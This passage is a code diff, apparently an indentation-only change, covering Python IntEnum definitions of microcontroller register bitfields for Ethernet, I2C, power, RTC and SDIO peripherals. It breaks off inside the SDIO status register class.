MCFHP = 1 << 5
|
||||
MCP = 1 << 4
|
||||
MCF = 1 << 3
|
||||
ROR = 1 << 2
|
||||
CSR = 1 << 1
|
||||
CR = 1 << 0
|
||||
|
||||
class ETH_MMCRIR(IntEnum):
|
||||
RGUFS = 1 << 17
|
||||
RFAES = 1 << 6
|
||||
RFCES = 1 << 5
|
||||
RGUFS = 1 << 17
|
||||
RFAES = 1 << 6
|
||||
RFCES = 1 << 5
|
||||
|
||||
class ETH_MMCTIR(IntEnum):
|
||||
TGFS = 1 << 21
|
||||
TGFMSCS = 1 << 15
|
||||
TGFSCS = 1 << 14
|
||||
TGFS = 1 << 21
|
||||
TGFMSCS = 1 << 15
|
||||
TGFSCS = 1 << 14
|
||||
|
||||
class ETH_MMCRIMR(IntEnum):
|
||||
RGUFM = 1 << 17
|
||||
RFAEM = 1 << 6
|
||||
RFCEM = 1 << 5
|
||||
RGUFM = 1 << 17
|
||||
RFAEM = 1 << 6
|
||||
RFCEM = 1 << 5
|
||||
|
||||
class ETH_MMCTIMR(IntEnum):
|
||||
TGFM = 1 << 21
|
||||
TGFMSCM = 1 << 15
|
||||
TGFSCM = 1 << 14
|
||||
TGFM = 1 << 21
|
||||
TGFMSCM = 1 << 15
|
||||
TGFSCM = 1 << 14
|
||||
|
||||
class ETH_PTPTSCR(IntEnum):
|
||||
TSCNT = 0x3 << 16
|
||||
TSARU = 1 << 5
|
||||
TSITE = 1 << 4
|
||||
TSSTU = 1 << 3
|
||||
TSSTI = 1 << 2
|
||||
TSFCU = 1 << 1
|
||||
TSE = 1 << 0
|
||||
TSCNT = 0x3 << 16
|
||||
TSARU = 1 << 5
|
||||
TSITE = 1 << 4
|
||||
TSSTU = 1 << 3
|
||||
TSSTI = 1 << 2
|
||||
TSFCU = 1 << 1
|
||||
TSE = 1 << 0
|
||||
|
||||
class ETH_PTPTSSR(IntEnum):
|
||||
TSSMRME = 1 << 15
|
||||
TSSEME = 1 << 14
|
||||
TSSIPV4FE = 1 << 13
|
||||
TSSIPV6FE = 1 << 12
|
||||
TSSPTPOEFE = 1 << 11
|
||||
TSPTPPSV2E = 1 << 10
|
||||
TSSSR = 1 << 9
|
||||
TSSARFE = 1 << 8
|
||||
TSTTR = 1 << 5
|
||||
TSSO = 1 << 4
|
||||
TSSMRME = 1 << 15
|
||||
TSSEME = 1 << 14
|
||||
TSSIPV4FE = 1 << 13
|
||||
TSSIPV6FE = 1 << 12
|
||||
TSSPTPOEFE = 1 << 11
|
||||
TSPTPPSV2E = 1 << 10
|
||||
TSSSR = 1 << 9
|
||||
TSSARFE = 1 << 8
|
||||
TSTTR = 1 << 5
|
||||
TSSO = 1 << 4
|
||||
|
||||
class ETH_PTPSSIR(IntEnum):
|
||||
STSSI = 0xff << 0
|
||||
STSSI = 0xff << 0
|
||||
|
||||
class ETH_PTPTSLR(IntEnum):
|
||||
STPNS = 1 << 31
|
||||
STSS = 0x7fffffff << 0
|
||||
STPNS = 1 << 31
|
||||
STSS = 0x7fffffff << 0
|
||||
|
||||
class ETH_PTPTSLUR(IntEnum):
|
||||
TSUPNS = 1 << 31
|
||||
TSUSS = 0x7fffffff << 0
|
||||
TSUPNS = 1 << 31
|
||||
TSUSS = 0x7fffffff << 0
|
||||
|
||||
class ETH_DMABMR(IntEnum):
|
||||
AAB = 1 << 25
|
||||
FPM = 1 << 24
|
||||
USP = 1 << 23
|
||||
RDP = 0x3f << 17
|
||||
FB = 1 << 16
|
||||
RTPR = 0x3 << 14
|
||||
PBL = 0x3f << 8
|
||||
EDE = 1 << 7
|
||||
DSL = 0x1f << 2
|
||||
DA = 1 << 1
|
||||
SR = 1 << 0
|
||||
AAB = 1 << 25
|
||||
FPM = 1 << 24
|
||||
USP = 1 << 23
|
||||
RDP = 0x3f << 17
|
||||
FB = 1 << 16
|
||||
RTPR = 0x3 << 14
|
||||
PBL = 0x3f << 8
|
||||
EDE = 1 << 7
|
||||
DSL = 0x1f << 2
|
||||
DA = 1 << 1
|
||||
SR = 1 << 0
|
||||
|
||||
class ETH_DMASR(IntEnum):
|
||||
TSTS = 1 << 29
|
||||
PMTS = 1 << 28
|
||||
MMCS = 1 << 27
|
||||
EBS = 0x7 << 23
|
||||
EBS_DescAccess = 1 << 25
|
||||
EBS_ReadTransf = 1 << 24
|
||||
EBS_DataTransfTx = 1 << 23
|
||||
TPS = 0x7 << 20
|
||||
TPS_Fetching = 1 << 20
|
||||
TPS_Waiting = 1 << 21
|
||||
TPS_Reading = 0x3 << 20
|
||||
TPS_Suspended = 0x3 << 21
|
||||
TPS_Closing = 0x7 << 20
|
||||
RPS = 0x7 << 17
|
||||
RPS_Fetching = 1 << 17
|
||||
RPS_Waiting = 0x3 << 17
|
||||
RPS_Suspended = 1 << 19
|
||||
RPS_Closing = 0x5 << 17
|
||||
RPS_Queuing = 0x7 << 17
|
||||
NIS = 1 << 16
|
||||
AIS = 1 << 15
|
||||
ERS = 1 << 14
|
||||
FBES = 1 << 13
|
||||
ETS = 1 << 10
|
||||
RWTS = 1 << 9
|
||||
RPSS = 1 << 8
|
||||
RBUS = 1 << 7
|
||||
RS = 1 << 6
|
||||
TUS = 1 << 5
|
||||
ROS = 1 << 4
|
||||
TJTS = 1 << 3
|
||||
TBUS = 1 << 2
|
||||
TPSS = 1 << 1
|
||||
TS = 1 << 0
|
||||
TSTS = 1 << 29
|
||||
PMTS = 1 << 28
|
||||
MMCS = 1 << 27
|
||||
EBS = 0x7 << 23
|
||||
EBS_DescAccess = 1 << 25
|
||||
EBS_ReadTransf = 1 << 24
|
||||
EBS_DataTransfTx = 1 << 23
|
||||
TPS = 0x7 << 20
|
||||
TPS_Fetching = 1 << 20
|
||||
TPS_Waiting = 1 << 21
|
||||
TPS_Reading = 0x3 << 20
|
||||
TPS_Suspended = 0x3 << 21
|
||||
TPS_Closing = 0x7 << 20
|
||||
RPS = 0x7 << 17
|
||||
RPS_Fetching = 1 << 17
|
||||
RPS_Waiting = 0x3 << 17
|
||||
RPS_Suspended = 1 << 19
|
||||
RPS_Closing = 0x5 << 17
|
||||
RPS_Queuing = 0x7 << 17
|
||||
NIS = 1 << 16
|
||||
AIS = 1 << 15
|
||||
ERS = 1 << 14
|
||||
FBES = 1 << 13
|
||||
ETS = 1 << 10
|
||||
RWTS = 1 << 9
|
||||
RPSS = 1 << 8
|
||||
RBUS = 1 << 7
|
||||
RS = 1 << 6
|
||||
TUS = 1 << 5
|
||||
ROS = 1 << 4
|
||||
TJTS = 1 << 3
|
||||
TBUS = 1 << 2
|
||||
TPSS = 1 << 1
|
||||
TS = 1 << 0
|
||||
|
||||
class ETH_DMAOMR(IntEnum):
|
||||
DTCEFD = 1 << 26
|
||||
RSF = 1 << 25
|
||||
DFRF = 1 << 24
|
||||
TSF = 1 << 21
|
||||
FTF = 1 << 20
|
||||
TTC = 0x7 << 14
|
||||
ST = 1 << 13
|
||||
FEF = 1 << 7
|
||||
FGF = 1 << 6
|
||||
RTC = 0x3 << 3
|
||||
OSF = 1 << 2
|
||||
SR = 1 << 1
|
||||
DTCEFD = 1 << 26
|
||||
RSF = 1 << 25
|
||||
DFRF = 1 << 24
|
||||
TSF = 1 << 21
|
||||
FTF = 1 << 20
|
||||
TTC = 0x7 << 14
|
||||
ST = 1 << 13
|
||||
FEF = 1 << 7
|
||||
FGF = 1 << 6
|
||||
RTC = 0x3 << 3
|
||||
OSF = 1 << 2
|
||||
SR = 1 << 1
|
||||
|
||||
class ETH_DMAIER(IntEnum):
|
||||
NISE = 1 << 16
|
||||
AISE = 1 << 15
|
||||
ERIE = 1 << 14
|
||||
FBEIE = 1 << 13
|
||||
ETIE = 1 << 10
|
||||
RWTIE = 1 << 9
|
||||
RPSIE = 1 << 8
|
||||
RBUIE = 1 << 7
|
||||
RIE = 1 << 6
|
||||
TUIE = 1 << 5
|
||||
ROIE = 1 << 4
|
||||
TJTIE = 1 << 3
|
||||
TBUIE = 1 << 2
|
||||
TPSIE = 1 << 1
|
||||
TIE = 1 << 0
|
||||
NISE = 1 << 16
|
||||
AISE = 1 << 15
|
||||
ERIE = 1 << 14
|
||||
FBEIE = 1 << 13
|
||||
ETIE = 1 << 10
|
||||
RWTIE = 1 << 9
|
||||
RPSIE = 1 << 8
|
||||
RBUIE = 1 << 7
|
||||
RIE = 1 << 6
|
||||
TUIE = 1 << 5
|
||||
ROIE = 1 << 4
|
||||
TJTIE = 1 << 3
|
||||
TBUIE = 1 << 2
|
||||
TPSIE = 1 << 1
|
||||
TIE = 1 << 0
|
||||
|
||||
class ETH_DMAMFBOCR(IntEnum):
|
||||
OFOC = 1 << 28
|
||||
MFA = 0x7ff << 17
|
||||
OMFC = 1 << 16
|
||||
MFC = 0xffff << 0
|
||||
OFOC = 1 << 28
|
||||
MFA = 0x7ff << 17
|
||||
OMFC = 1 << 16
|
||||
MFC = 0xffff << 0
|
||||
|
||||
@@ -7,88 +7,88 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class I2C_CR1(IntEnum):
|
||||
PE = 1 << 0
|
||||
SMBUS = 1 << 1
|
||||
SMBTYPE = 1 << 3
|
||||
ENARP = 1 << 4
|
||||
ENPEC = 1 << 5
|
||||
ENGC = 1 << 6
|
||||
NOSTRETCH = 1 << 7
|
||||
START = 1 << 8
|
||||
STOP = 1 << 9
|
||||
ACK = 1 << 10
|
||||
POS = 1 << 11
|
||||
PEC = 1 << 12
|
||||
ALERT = 1 << 13
|
||||
SWRST = 1 << 15
|
||||
PE = 1 << 0
|
||||
SMBUS = 1 << 1
|
||||
SMBTYPE = 1 << 3
|
||||
ENARP = 1 << 4
|
||||
ENPEC = 1 << 5
|
||||
ENGC = 1 << 6
|
||||
NOSTRETCH = 1 << 7
|
||||
START = 1 << 8
|
||||
STOP = 1 << 9
|
||||
ACK = 1 << 10
|
||||
POS = 1 << 11
|
||||
PEC = 1 << 12
|
||||
ALERT = 1 << 13
|
||||
SWRST = 1 << 15
|
||||
|
||||
RW_MASK = PE|SMBUS|SMBTYPE|ENARP|ENPEC|ENGC|NOSTRETCH|START|STOP|ACK|POS|ALERT|SWRST
|
||||
RW_MASK = PE|SMBUS|SMBTYPE|ENARP|ENPEC|ENGC|NOSTRETCH|START|STOP|ACK|POS|ALERT|SWRST
|
||||
|
||||
class I2C_CR2(IntEnum):
|
||||
FREQ = 0x3f << 0
|
||||
ITERREN = 1 << 8
|
||||
ITEVTEN = 1 << 9
|
||||
ITBUFEN = 1 << 10
|
||||
DMAEN = 1 << 11
|
||||
LAST = 1 << 12
|
||||
FREQ = 0x3f << 0
|
||||
ITERREN = 1 << 8
|
||||
ITEVTEN = 1 << 9
|
||||
ITBUFEN = 1 << 10
|
||||
DMAEN = 1 << 11
|
||||
LAST = 1 << 12
|
||||
|
||||
class I2C_OAR1(IntEnum):
|
||||
ADD0 = 1 << 0
|
||||
ADD1 = 1 << 1
|
||||
ADD2 = 1 << 2
|
||||
ADD3 = 1 << 3
|
||||
ADD4 = 1 << 4
|
||||
ADD5 = 1 << 5
|
||||
ADD6 = 1 << 6
|
||||
ADD7 = 1 << 7
|
||||
ADD8 = 1 << 8
|
||||
ADD9 = 1 << 9
|
||||
ADDMODE = 1 << 15
|
||||
ADD0 = 1 << 0
|
||||
ADD1 = 1 << 1
|
||||
ADD2 = 1 << 2
|
||||
ADD3 = 1 << 3
|
||||
ADD4 = 1 << 4
|
||||
ADD5 = 1 << 5
|
||||
ADD6 = 1 << 6
|
||||
ADD7 = 1 << 7
|
||||
ADD8 = 1 << 8
|
||||
ADD9 = 1 << 9
|
||||
ADDMODE = 1 << 15
|
||||
|
||||
ADDR1_7B = 0x7f << 1
|
||||
ADDR1_10B = 0x3ff
|
||||
ADDR1_7B = 0x7f << 1
|
||||
ADDR1_10B = 0x3ff
|
||||
|
||||
class I2C_OAR2(IntEnum):
|
||||
ENDUAL = 1 << 0
|
||||
ADDR2 = 0x7f << 1
|
||||
ENDUAL = 1 << 0
|
||||
ADDR2 = 0x7f << 1
|
||||
|
||||
class I2C_DR(IntEnum):
|
||||
DR = 0xff << 0
|
||||
DR = 0xff << 0
|
||||
|
||||
class I2C_SR1(IntEnum):
|
||||
SB = 1 << 0
|
||||
ADDR = 1 << 1
|
||||
BTF = 1 << 2
|
||||
ADD10 = 1 << 3
|
||||
STOPF = 1 << 4
|
||||
RXNE = 1 << 6
|
||||
TXE = 1 << 7
|
||||
BERR = 1 << 8
|
||||
ARLO = 1 << 9
|
||||
AF = 1 << 10
|
||||
OVR = 1 << 11
|
||||
PECERR = 1 << 12
|
||||
TIMEOUT = 1 << 14
|
||||
SMBALERT = 1 << 15
|
||||
SB = 1 << 0
|
||||
ADDR = 1 << 1
|
||||
BTF = 1 << 2
|
||||
ADD10 = 1 << 3
|
||||
STOPF = 1 << 4
|
||||
RXNE = 1 << 6
|
||||
TXE = 1 << 7
|
||||
BERR = 1 << 8
|
||||
ARLO = 1 << 9
|
||||
AF = 1 << 10
|
||||
OVR = 1 << 11
|
||||
PECERR = 1 << 12
|
||||
TIMEOUT = 1 << 14
|
||||
SMBALERT = 1 << 15
|
||||
|
||||
class I2C_SR2(IntEnum):
|
||||
MSL = 1 << 0
|
||||
BSY = 1 << 1
|
||||
TRA = 1 << 2
|
||||
GENCALL = 1 << 4
|
||||
SMBDEFAULT = 1 << 5
|
||||
SMBHOST = 1 << 6
|
||||
DALF = 1 << 7
|
||||
PEC = 0xff << 8
|
||||
MSL = 1 << 0
|
||||
BSY = 1 << 1
|
||||
TRA = 1 << 2
|
||||
GENCALL = 1 << 4
|
||||
SMBDEFAULT = 1 << 5
|
||||
SMBHOST = 1 << 6
|
||||
DALF = 1 << 7
|
||||
PEC = 0xff << 8
|
||||
|
||||
class I2C_CCR(IntEnum):
|
||||
CCR = 0xfff << 0
|
||||
DTY = 1 << 14
|
||||
FS = 1 << 15
|
||||
CCR = 0xfff << 0
|
||||
DTY = 1 << 14
|
||||
FS = 1 << 15
|
||||
|
||||
class I2C_TRISE(IntEnum):
|
||||
TRISE = 0x3f << 0
|
||||
TRISE = 0x3f << 0
|
||||
|
||||
class I2C_FLTR(IntEnum):
|
||||
DNF = 0xf << 0
|
||||
ANOFF = 1 << 4
|
||||
DNF = 0xf << 0
|
||||
ANOFF = 1 << 4
|
||||
|
||||
@@ -7,30 +7,30 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class PWR_CR(IntEnum):
|
||||
LPDS = 1 << 0
|
||||
PDDS = 1 << 1
|
||||
CWUF = 1 << 2
|
||||
CSBF = 1 << 3
|
||||
PVDE = 1 << 4
|
||||
PLS = 0x7 << 5
|
||||
DBP = 1 << 8
|
||||
FPDS = 1 << 9
|
||||
LPLVDS = 1 << 10
|
||||
MRLVDS = 1 << 11
|
||||
ADCDC1 = 1 << 13
|
||||
VOS = 0x3 << 14
|
||||
ODEN = 1 << 16
|
||||
ODSWEN = 1 << 17
|
||||
UDEN = 0x3 << 18
|
||||
LPDS = 1 << 0
|
||||
PDDS = 1 << 1
|
||||
CWUF = 1 << 2
|
||||
CSBF = 1 << 3
|
||||
PVDE = 1 << 4
|
||||
PLS = 0x7 << 5
|
||||
DBP = 1 << 8
|
||||
FPDS = 1 << 9
|
||||
LPLVDS = 1 << 10
|
||||
MRLVDS = 1 << 11
|
||||
ADCDC1 = 1 << 13
|
||||
VOS = 0x3 << 14
|
||||
ODEN = 1 << 16
|
||||
ODSWEN = 1 << 17
|
||||
UDEN = 0x3 << 18
|
||||
|
||||
class PWR_CSR(IntEnum):
|
||||
WUF = 1 << 0
|
||||
SBF = 1 << 1
|
||||
PVDO = 1 << 2
|
||||
BRR = 1 << 3
|
||||
EWUP = 1 << 8
|
||||
BRE = 1 << 9
|
||||
VOSRDY = 1 << 14
|
||||
ODRDY = 1 << 16
|
||||
ODSWRDY = 1 << 17
|
||||
UDRDY = 0x3 << 18
|
||||
WUF = 1 << 0
|
||||
SBF = 1 << 1
|
||||
PVDO = 1 << 2
|
||||
BRR = 1 << 3
|
||||
EWUP = 1 << 8
|
||||
BRE = 1 << 9
|
||||
VOSRDY = 1 << 14
|
||||
ODRDY = 1 << 16
|
||||
ODSWRDY = 1 << 17
|
||||
UDRDY = 0x3 << 18
|
||||
|
||||
+122
-122
@@ -8,161 +8,161 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class RTC_TR(IntEnum):
|
||||
PM = 1 << 22
|
||||
HT = 0x3 << 20
|
||||
HU = 0xf << 16
|
||||
MNT = 0x7 << 12
|
||||
MNU = 0xf << 8
|
||||
ST = 0x7 << 4
|
||||
SU = 0xf << 0
|
||||
PM = 1 << 22
|
||||
HT = 0x3 << 20
|
||||
HU = 0xf << 16
|
||||
MNT = 0x7 << 12
|
||||
MNU = 0xf << 8
|
||||
ST = 0x7 << 4
|
||||
SU = 0xf << 0
|
||||
|
||||
class RTC_DR(IntEnum):
|
||||
YT = 0xf << 20
|
||||
YU = 0xf << 16
|
||||
WDU = 0x7 << 13
|
||||
MT = 1 << 12
|
||||
MU = 0xf << 8
|
||||
DT = 0x3 << 4
|
||||
D = 0xf << 0
|
||||
YT = 0xf << 20
|
||||
YU = 0xf << 16
|
||||
WDU = 0x7 << 13
|
||||
MT = 1 << 12
|
||||
MU = 0xf << 8
|
||||
DT = 0x3 << 4
|
||||
D = 0xf << 0
|
||||
|
||||
class RTC_CR(IntEnum):
|
||||
COE = 1 << 23
|
||||
OSEL = 0x3 << 21
|
||||
POL = 1 << 20
|
||||
COSEL = 1 << 19
|
||||
BKP = 1 << 18
|
||||
SUB1H = 1 << 17
|
||||
ADD1H = 1 << 16
|
||||
TSIE = 1 << 15
|
||||
WUTIE = 1 << 14
|
||||
ALRBIE = 1 << 13
|
||||
ALRAIE = 1 << 12
|
||||
TSE = 1 << 11
|
||||
WUTE = 1 << 10
|
||||
ALRBE = 1 << 9
|
||||
ALRAE = 1 << 8
|
||||
DCE = 1 << 7
|
||||
FMT = 1 << 6
|
||||
BYPSHAD = 1 << 5
|
||||
REFCKON = 1 << 4
|
||||
TSEDGE = 1 << 3
|
||||
WUCKSEL = 0x7 << 0
|
||||
COE = 1 << 23
|
||||
OSEL = 0x3 << 21
|
||||
POL = 1 << 20
|
||||
COSEL = 1 << 19
|
||||
BKP = 1 << 18
|
||||
SUB1H = 1 << 17
|
||||
ADD1H = 1 << 16
|
||||
TSIE = 1 << 15
|
||||
WUTIE = 1 << 14
|
||||
ALRBIE = 1 << 13
|
||||
ALRAIE = 1 << 12
|
||||
TSE = 1 << 11
|
||||
WUTE = 1 << 10
|
||||
ALRBE = 1 << 9
|
||||
ALRAE = 1 << 8
|
||||
DCE = 1 << 7
|
||||
FMT = 1 << 6
|
||||
BYPSHAD = 1 << 5
|
||||
REFCKON = 1 << 4
|
||||
TSEDGE = 1 << 3
|
||||
WUCKSEL = 0x7 << 0
|
||||
|
||||
class RTC_ISR(IntEnum):
|
||||
RECALPF = 1 << 16
|
||||
TAMP1F = 1 << 13
|
||||
TAMP2F = 1 << 14
|
||||
TSOVF = 1 << 12
|
||||
TSF = 1 << 11
|
||||
WUTF = 1 << 10
|
||||
ALRBF = 1 << 9
|
||||
ALRAF = 1 << 8
|
||||
INIT = 1 << 7
|
||||
INITF = 1 << 6
|
||||
RSF = 1 << 5
|
||||
INITS = 1 << 4
|
||||
SHPF = 1 << 3
|
||||
WUTWF = 1 << 2
|
||||
ALRBWF = 1 << 1
|
||||
ALRAWF = 1 << 0
|
||||
RECALPF = 1 << 16
|
||||
TAMP1F = 1 << 13
|
||||
TAMP2F = 1 << 14
|
||||
TSOVF = 1 << 12
|
||||
TSF = 1 << 11
|
||||
WUTF = 1 << 10
|
||||
ALRBF = 1 << 9
|
||||
ALRAF = 1 << 8
|
||||
INIT = 1 << 7
|
||||
INITF = 1 << 6
|
||||
RSF = 1 << 5
|
||||
INITS = 1 << 4
|
||||
SHPF = 1 << 3
|
||||
WUTWF = 1 << 2
|
||||
ALRBWF = 1 << 1
|
||||
ALRAWF = 1 << 0
|
||||
|
||||
class RTC_PRER(IntEnum):
|
||||
PREDIV_A = 0x7f << 16
|
||||
PREDIV_S = 0x7fff << 0
|
||||
PREDIV_A = 0x7f << 16
|
||||
PREDIV_S = 0x7fff << 0
|
||||
|
||||
class RTC_WUTR(IntEnum):
|
||||
WUT = 0xffff << 0
|
||||
WUT = 0xffff << 0
|
||||
|
||||
class RTC_CALIBR(IntEnum):
|
||||
DCS = 1 << 7
|
||||
DC = 0x1f << 0
|
||||
DCS = 1 << 7
|
||||
DC = 0x1f << 0
|
||||
|
||||
class RTC_ALRMAR(IntEnum):
|
||||
MSK4 = 1 << 31
|
||||
WDSEL = 1 << 30
|
||||
DT = 0x3 << 28
|
||||
D = 0xf << 24
|
||||
MSK3 = 1 << 23
|
||||
PM = 1 << 22
|
||||
HT = 0x3 << 20
|
||||
HU = 0xf << 16
|
||||
MSK2 = 1 << 15
|
||||
MNT = 0x7 << 12
|
||||
MNU = 0xf << 8
|
||||
MSK1 = 1 << 7
|
||||
ST = 0x7 << 4
|
||||
SU = 0xf << 0
|
||||
MSK4 = 1 << 31
|
||||
WDSEL = 1 << 30
|
||||
DT = 0x3 << 28
|
||||
D = 0xf << 24
|
||||
MSK3 = 1 << 23
|
||||
PM = 1 << 22
|
||||
HT = 0x3 << 20
|
||||
HU = 0xf << 16
|
||||
MSK2 = 1 << 15
|
||||
MNT = 0x7 << 12
|
||||
MNU = 0xf << 8
|
||||
MSK1 = 1 << 7
|
||||
ST = 0x7 << 4
|
||||
SU = 0xf << 0
|
||||
|
||||
class RTC_ALRMBR(IntEnum):
|
||||
MSK4 = 1 << 31
|
||||
WDSEL = 1 << 30
|
||||
DT = 0x3 << 28
|
||||
D = 0xf << 24
|
||||
MSK3 = 1 << 23
|
||||
PM = 1 << 22
|
||||
HT = 0x3 << 20
|
||||
HU = 0xf << 16
|
||||
MSK2 = 1 << 15
|
||||
MNT = 0x7 << 12
|
||||
MNU = 0xf << 8
|
||||
MSK1 = 1 << 7
|
||||
ST = 0x7 << 4
|
||||
SU = 0xf << 0
|
||||
MSK4 = 1 << 31
|
||||
WDSEL = 1 << 30
|
||||
DT = 0x3 << 28
|
||||
D = 0xf << 24
|
||||
MSK3 = 1 << 23
|
||||
PM = 1 << 22
|
||||
HT = 0x3 << 20
|
||||
HU = 0xf << 16
|
||||
MSK2 = 1 << 15
|
||||
MNT = 0x7 << 12
|
||||
MNU = 0xf << 8
|
||||
MSK1 = 1 << 7
|
||||
ST = 0x7 << 4
|
||||
SU = 0xf << 0
|
||||
|
||||
class RTC_WPR(IntEnum):
|
||||
KEY = 0xff << 0
|
||||
KEY = 0xff << 0
|
||||
|
||||
class RTC_SSR(IntEnum):
|
||||
SS = 0xffff << 0
|
||||
SS = 0xffff << 0
|
||||
|
||||
class RTC_SHIFTR(IntEnum):
|
||||
SUBFS = 0x7fff << 0
|
||||
ADD1S = 1 << 31
|
||||
SUBFS = 0x7fff << 0
|
||||
ADD1S = 1 << 31
|
||||
|
||||
class RTC_TSTR(IntEnum):
|
||||
PM = 1 << 22
|
||||
HT = 0x3 << 20
|
||||
HU = 0xf << 16
|
||||
MNT = 0x7 << 12
|
||||
MNU = 0xf << 8
|
||||
ST = 0x7 << 4
|
||||
SU = 0xf << 0
|
||||
PM = 1 << 22
|
||||
HT = 0x3 << 20
|
||||
HU = 0xf << 16
|
||||
MNT = 0x7 << 12
|
||||
MNU = 0xf << 8
|
||||
ST = 0x7 << 4
|
||||
SU = 0xf << 0
|
||||
|
||||
class RTC_TSDR(IntEnum):
|
||||
WDU = 0x7 << 13
|
||||
MT = 1 << 12
|
||||
MU = 0xf << 8
|
||||
DT = 0x3 << 4
|
||||
D = 0xf << 0
|
||||
WDU = 0x7 << 13
|
||||
MT = 1 << 12
|
||||
MU = 0xf << 8
|
||||
DT = 0x3 << 4
|
||||
D = 0xf << 0
|
||||
|
||||
class RTC_TSSSR(IntEnum):
|
||||
SS = 0xffff << 0
|
||||
SS = 0xffff << 0
|
||||
|
||||
class RTC_CALR(IntEnum):
|
||||
CALP = 1 << 15
|
||||
CALW8 = 1 << 14
|
||||
CALW16 = 1 << 13
|
||||
CALM = 0x1ff << 0
|
||||
CALP = 1 << 15
|
||||
CALW8 = 1 << 14
|
||||
CALW16 = 1 << 13
|
||||
CALM = 0x1ff << 0
|
||||
|
||||
class RTC_TAFCR(IntEnum):
|
||||
ALARMOUTTYPE = 1 << 18
|
||||
TSINSEL = 1 << 17
|
||||
TAMP1INSEL = 1 << 16
|
||||
TAMPPUDIS = 1 << 15
|
||||
TAMPPRCH = 0x3 << 13
|
||||
TAMPFLT = 0x3 << 11
|
||||
TAMPFREQ = 0x7 << 8
|
||||
TAMPTS = 1 << 7
|
||||
TAMP2TRG = 1 << 4
|
||||
TAMP2E = 1 << 3
|
||||
TAMPIE = 1 << 2
|
||||
TAMP1TRG = 1 << 1
|
||||
TAMP1E = 1 << 0
|
||||
ALARMOUTTYPE = 1 << 18
|
||||
TSINSEL = 1 << 17
|
||||
TAMP1INSEL = 1 << 16
|
||||
TAMPPUDIS = 1 << 15
|
||||
TAMPPRCH = 0x3 << 13
|
||||
TAMPFLT = 0x3 << 11
|
||||
TAMPFREQ = 0x7 << 8
|
||||
TAMPTS = 1 << 7
|
||||
TAMP2TRG = 1 << 4
|
||||
TAMP2E = 1 << 3
|
||||
TAMPIE = 1 << 2
|
||||
TAMP1TRG = 1 << 1
|
||||
TAMP1E = 1 << 0
|
||||
|
||||
class RTC_ALRMASSR(IntEnum):
|
||||
MASKSS = 0xf << 24
|
||||
SS = 0x7fff << 0
|
||||
MASKSS = 0xf << 24
|
||||
SS = 0x7fff << 0
|
||||
|
||||
class RTC_ALRMBSSR(IntEnum):
|
||||
MASKSS = 0xf << 24
|
||||
SS = 0x7fff << 0
|
||||
MASKSS = 0xf << 24
|
||||
SS = 0x7fff << 0
|
||||
|
||||
@@ -7,99 +7,99 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class SDIO_CLKCR(IntEnum):
|
||||
CLKDIV = 0xff << 0
|
||||
CLKEN = 1 << 8
|
||||
PWRSAV = 1 << 9
|
||||
BYPASS = 1 << 10
|
||||
WIDBUS = 0x3 << 11
|
||||
NEGEDGE = 1 << 13
|
||||
HWFC_EN = 1 << 14
|
||||
CLKDIV = 0xff << 0
|
||||
CLKEN = 1 << 8
|
||||
PWRSAV = 1 << 9
|
||||
BYPASS = 1 << 10
|
||||
WIDBUS = 0x3 << 11
|
||||
NEGEDGE = 1 << 13
|
||||
HWFC_EN = 1 << 14
|
||||
|
||||
class SDIO_CMD(IntEnum):
|
||||
CMDINDEX = 0x3f << 0
|
||||
WAITRESP = 0x3 << 6
|
||||
WAITINT = 1 << 8
|
||||
WAITPEND = 1 << 9
|
||||
CPSMEN = 1 << 10
|
||||
SDIOSUSPEND = 1 << 11
|
||||
ENCMDCOMPL = 1 << 12
|
||||
NIEN = 1 << 13
|
||||
CEATACMD = 1 << 14
|
||||
CMDINDEX = 0x3f << 0
|
||||
WAITRESP = 0x3 << 6
|
||||
WAITINT = 1 << 8
|
||||
WAITPEND = 1 << 9
|
||||
CPSMEN = 1 << 10
|
||||
SDIOSUSPEND = 1 << 11
|
||||
ENCMDCOMPL = 1 << 12
|
||||
NIEN = 1 << 13
|
||||
CEATACMD = 1 << 14
|
||||
|
||||
class SDIO_DCTRL(IntEnum):
|
||||
DTEN = 1 << 0
|
||||
DTDIR = 1 << 1
|
||||
DTMODE = 1 << 2
|
||||
DMAEN = 1 << 3
|
||||
DBLOCKSIZE = 0xf << 4
|
||||
RWSTART = 1 << 8
|
||||
RWSTOP = 1 << 9
|
||||
RWMOD = 1 << 10
|
||||
SDIOEN = 1 << 11
|
||||
DTEN = 1 << 0
|
||||
DTDIR = 1 << 1
|
||||
DTMODE = 1 << 2
|
||||
DMAEN = 1 << 3
|
||||
DBLOCKSIZE = 0xf << 4
|
||||
RWSTART = 1 << 8
|
||||
RWSTOP = 1 << 9
|
||||
RWMOD = 1 << 10
|
||||
SDIOEN = 1 << 11
|
||||
|
||||
class SDIO_STA(IntEnum):
|
||||
CCRCFAIL = 1 << 0
|
||||
DCRCFAIL = 1 << 1
|
||||
CTIMEOUT = 1 << 2
|
||||
DTIMEOUT = 1 << 3
|
||||
TXUNDERR = 1 << 4
|
||||
RXOVERR = 1 << 5
|
||||
CMDREND = 1 << 6
|
||||
CMDSENT = 1 << 7
|
||||
DATAEND = 1 << 8
|
||||
STBITERR = 1 << 9
|
||||
DBCKEND = 1 << 10
|
||||
CMDACT = 1 << 11
|
||||
TXACT = 1 << 12
|
||||
RXACT = 1 << 13
|
||||
TXFIFOHE = 1 << 14
|
||||
RXFIFOHF = 1 << 15
|
||||
TXFIFOF = 1 << 16
|
||||
RXFIFOF = 1 << 17
|
||||
TXFIFOE = 1 << 18
|
||||
RXFIFOE = 1 << 19
|
||||
TXDAVL = 1 << 20
|
||||
RXDAVL = 1 << 21
|
||||
SDIOIT = 1 << 22
|
||||
CEATAEND = 1 << 23
|
||||
CCRCFAIL = 1 << 0
|
||||
DCRCFAIL = 1 << 1
|
||||
CTIMEOUT = 1 << 2
|
||||
DTIMEOUT = 1 << 3
|
||||
TXUNDERR = 1 << 4
|
||||
RXOVERR = 1 << 5
|
||||
CMDREND = 1 << 6
|
||||
CMDSENT = 1 << 7
|
||||
DATAEND = 1 << 8
|
||||
STBITERR = 1 << 9
|
||||
DBCKEND = 1 << 10
|
||||
CMDACT = 1 << 11
|
||||
TXACT = 1 << 12
|
||||
RXACT = 1 << 13
|
||||
TXFIFOHE = 1 << 14
|
||||
RXFIFOHF = 1 << 15
|
||||
TXFIFOF = 1 << 16
|
||||
RXFIFOF = 1 << 17
|
||||
